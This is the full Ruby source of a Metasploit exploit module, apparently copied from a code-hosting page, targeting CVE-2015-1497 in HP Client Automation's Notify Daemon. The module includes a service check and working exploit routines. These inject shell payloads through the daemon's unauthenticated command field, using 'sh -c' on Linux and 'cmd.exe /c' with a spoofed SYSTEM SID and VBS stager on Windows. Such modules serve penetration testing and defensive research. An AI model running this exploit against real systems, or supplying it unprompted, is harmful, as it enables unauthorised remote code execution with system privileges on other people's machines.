Path: blob/master/modules/exploits/multi/misc/persistent_hpca_radexec_exec.rb
31759 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GreatRanking78include Msf::Exploit::Remote::Tcp9include Msf::Exploit::CmdStager1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'HP Client Automation Command Injection',16'Description' => %q{17This module exploits a command injection vulnerability on HP Client Automation, distributed18actually as Persistent Systems Client Automation. The vulnerability exists in the Notify19Daemon (radexecd.exe), which doesn't authenticate execution requests by default.2021This module has been tested successfully on HP Client Automation 9.00 on Windows 2003 SP222and CentOS 5.23},24'Author' => [25'Ben Turner', # Vulnerability discovery26'juan vazquez' # Metasploit module27],28'References' => [29['CVE', '2015-1497'],30['ZDI', '15-038'],31['URL', 'https://radiasupport.accelerite.com/hc/en-us/articles/203659814-Accelerite-releases-solutions-and-best-practices-to-enhance-the-security-for-RBAC-and-Remote-Notify-features']32],33'Privileged' => true,34'DefaultOptions' => {35'WfsDelay' => 1036},37'Payload' => { 'DisableNops' => true },38'Targets' => [39[40'HP Client Automation 9.0.0 / Linux',41{42'Platform' => 'unix',43'Arch' => ARCH_CMD,44'Payload' =>45{46'Space' => 466,47'EncoderType' => Msf::Encoder::Type::CmdPosixPerl,48'Compat' =>49{50'PayloadType' => 'cmd',51'RequiredCmd' => 'openssl telnet generic gawk'52},53'BadChars' => "\x27"54}55}56],57[58'HP Client Automation 9.0.0 / Windows',59{60'Platform' => 'win',61'Arch' => ARCH_X8662}63]64],65'DefaultTarget' => 0,66'DisclosureDate' => '2014-01-02',67'Notes' => {68'Reliability' => UNKNOWN_RELIABILITY,69'Stability' => UNKNOWN_STABILITY,70'SideEffects' => UNKNOWN_SIDE_EFFECTS71}72)73)7475register_options(76[77Opt::RPORT(3465)78]79)8081deregister_options('CMDSTAGER::FLAVOR')82deregister_options('CMDSTAGER::DECODER')83end8485def check86connect87sock.put("\x00") # port88sock.put("#{rand_text_alphanumeric(rand(4..6))}\x00") # user ID89sock.put("#{rand_text_alpha(rand(4..6))}\x00") # password90sock.put("hide\x00") # command91res = sock.get_once92disconnect9394if res && res.unpack('C')[0] == 095return Exploit::CheckCode::Detected96end9798Exploit::CheckCode::Safe99end100101def exploit102case target['Platform']103when 'win'104print_status('Exploiting Windows target...')105execute_cmdstager({ flavor: :vbs, linemax: 290 })106when 'unix'107print_status('Exploiting Linux target...')108exploit_unix109else110fail_with(Failure::NoTarget, 'Invalid target')111end112end113114def exploit_unix115connect116sock.put("\x00") # port117sock.put("0\x00") # user ID118sock.put("#{rand_text_alpha(rand(4..6))}\x00") # password119sock.put("hide hide\x09sh -c '#{payload.encoded.gsub(/\\/, '\\\\\\\\')}'\x00") # command, here commands can be injected120disconnect121end122123def execute_command(cmd, _opts = {})124connect125sock.put("\x00") # port126sock.put("S-1-5-18\x00") # user ID127sock.put("#{rand_text_alpha(rand(4..6))}\x00") # password128sock.put("hide hide\"\x09\"cmd.exe /c #{cmd}&\"\x00") # command, here commands can be injected129res = sock.get_once130disconnect131unless res && res.unpack('C')[0] == 0132fail_with(Failure::Unknown, 'Something failed executing the stager...')133end134end135end136137138